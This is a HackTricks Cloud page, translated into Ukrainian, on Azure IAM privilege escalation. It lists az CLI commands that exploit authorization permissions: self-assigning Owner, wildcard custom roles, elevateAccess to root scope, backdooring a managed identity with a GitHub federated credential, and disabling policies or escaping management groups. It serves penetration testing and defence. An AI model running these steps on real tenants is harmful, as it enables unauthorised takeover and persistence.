Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md

8.7 KiB
Raw Blame History

Az - Azure IAM Privesc (Authorization)

{{#include ../../../banners/hacktricks-training.md}}

Azure IAM

Для отримання додаткової інформації див.:

{{#ref}} ../az-services/az-azuread.md {{#endref}}

Microsoft.Authorization/roleAssignments/write

Цей дозвіл дозволяє призначати ролі принципалам у межах конкретної області, що дає можливість атакуючому підвищити привілеї, призначивши собі більш привілейовану роль:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Цей дозвіл дає змогу змінювати права, надані ролі, що дозволяє зловмисникові підвищити привілеї, додавши більше прав ролі, яку він призначив.

Створіть файл role.json з наступним вмістом:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Потім оновіть дозволи ролі, викликавши попереднє визначення:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Цей дозвіл дозволяє підвищувати привілеї та призначати дозволи будь-якому principal для ресурсів Azure. Він призначений для Entra ID Global Administrators, щоб вони також могли керувати дозволами над ресурсами Azure.

Tip

Я думаю, користувач повинен бути Global Administrator в Entrad ID для того, щоб elevate call працював.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Цей дозвіл дозволяє додавати Federated credentials до managed identities. Наприклад, надати доступ Github Actions у repo до managed identity. Після цього він дозволяє доступ до будь-якої визначеної користувачем managed identity.

Приклад команди для надання доступу repo в Github до managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Атакувальник із дозволом Microsoft.Authorization/policyAssignments/write або Microsoft.Authorization/policyAssignments/delete на рівні групи керування, підписки або групи ресурсів може змінювати або видаляти Azure policy assignments, потенційно відключаючи обмеження безпеки, які блокують певні операції.

Це дає доступ до ресурсів або функціональностей, які раніше були захищені політикою.

Видалити призначення політики:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Вимкнути призначення політики:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Перевірте зміни:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Зловмисник з дозволом Microsoft.Authorization/policyDefinitions/write може змінювати визначення політик у Azure, змінюючи правила, що контролюють обмеження безпеки в середовищі.

Наприклад, політику, що обмежує дозволені регіони для створення ресурсів, можна змінити так, щоб дозволяти будь-який регіон, або ефект політики можна змінити, щоб зробити її неефективною.

Змінити визначення політики:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Перевірте зміни:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Атакувальник з дозволом Microsoft.Management/managementGroups/write може змінювати ієрархічну структуру management groups або створювати нові management groups, потенційно обходячи обмежувальні політики, застосовані на вищих рівнях.

Наприклад, атакувальник може створити новий management group без обмежувальних політик і потім перемістити туди subscriptions.

Створити новий management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Змінити ієрархію management group:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Перевірте зміни:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Зловмисник із дозволом Microsoft.Management/managementGroups/subscriptions/write може переміщувати subscriptions між management groups, потенційно уникати обмежувальних політик, перемістивши subscription до групи з менш суворими або без політик.

Перемістити subscription до іншої management group:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Перевірте зміни:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

{{#include ../../../banners/hacktricks-training.md}}